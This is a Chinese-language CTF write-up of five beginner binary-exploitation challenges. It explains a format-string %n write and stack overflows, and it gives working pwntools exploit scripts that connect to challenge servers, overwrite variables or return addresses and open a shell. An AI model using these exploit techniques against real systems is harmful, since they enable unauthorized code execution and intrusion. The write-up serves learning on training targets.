0x01get_shell
下载附件后直接丢IDA F5
图片.png
用LINUX加载这个文件
图片.png
111.198.29.45 43241
system("/bin/sh") 的功能为:执行/bin/sh shell命令。这样我们就可以获得交互,通过shell命令访问目标主机
图片.png
nc命令详解
手把手教你栈溢出从入门到放弃 上
手把手教你栈溢出从入门到放弃 下
0x02CGfsb
先用checksec查看开了哪些保护
图片.png
32位程序,开了NX(堆栈不可执行)以及CANNARY(栈保护)
pwntools的使用
利用过程:通过格式化字符串漏洞,将 pwnme 的值修改成8。
格式化字符串
%[parameter][flags][field width][.precision][length]type
参考wp https://blog.csdn.net/zz_Caleb/article/details/88980866
%n的作用是不输出字符(printf调用之后没有字符输出),但是把成功输入的字符个数写入指定地址的。%i< fmt>指定占位符对应第n个参数,例如:%12$x,此处%x对应第12个参数。 通过 ida 查看汇编代码 找到call printf的地址(调用printf(&s))。之后我们用gdb进行调试,在调用printf(&s)之前下一个断点,查看接收 message 的变量 s 是格式化字符串的第几个参数。输入 message 的时候输入 ‘aaaa’
from pwn import *
p = remote('111.198.29.45', 49625)
pwnme = 0x0804A068
payload1 = 'aaaa'
payload2 = p32(pwnme) + 'aaaa%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv())
图片.png
0x03when_did_you_born
get()必有溢出
图片.png
判断两次v5,发现程序是矛盾的,若第一次v5=1926,就跳过cat flag了
因此需要利用栈溢出来修改v5为1926
图片.png
发现v4 v5 相差了8个字节
exp:
from pwn import *
r = remote("111.198.29.45", 58805)
payload = 'a' * (0x20 - 0x18) + p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print r.recv()
print r.recv()
0x04hello_pwn
so easy
图片.png
0x05level0
可以在read时,将函数返回地址覆盖为callsystem(bin/sh)函数地址,则可实现漏洞利用
from pwn import * #导入pwntools中pwn包的所有内容
p = remote('111.198.29.45',33907) # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('./ea3758e885904101913f7be6fff1bb2d') # 以ELF文件格式读取ea3758e885904101913f7be6fff1bb2d文件
sysaddr = elf.symbols['callsystem'] # 获取ELF文件中callsystem标记的地址
payload = 'a'*(0x80 + 8) + p64(sysaddr) # payload,先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.recv() #接收输出
p.send(payload) # 发送payload
p.interactive() # 反弹shell进行交互
图片.png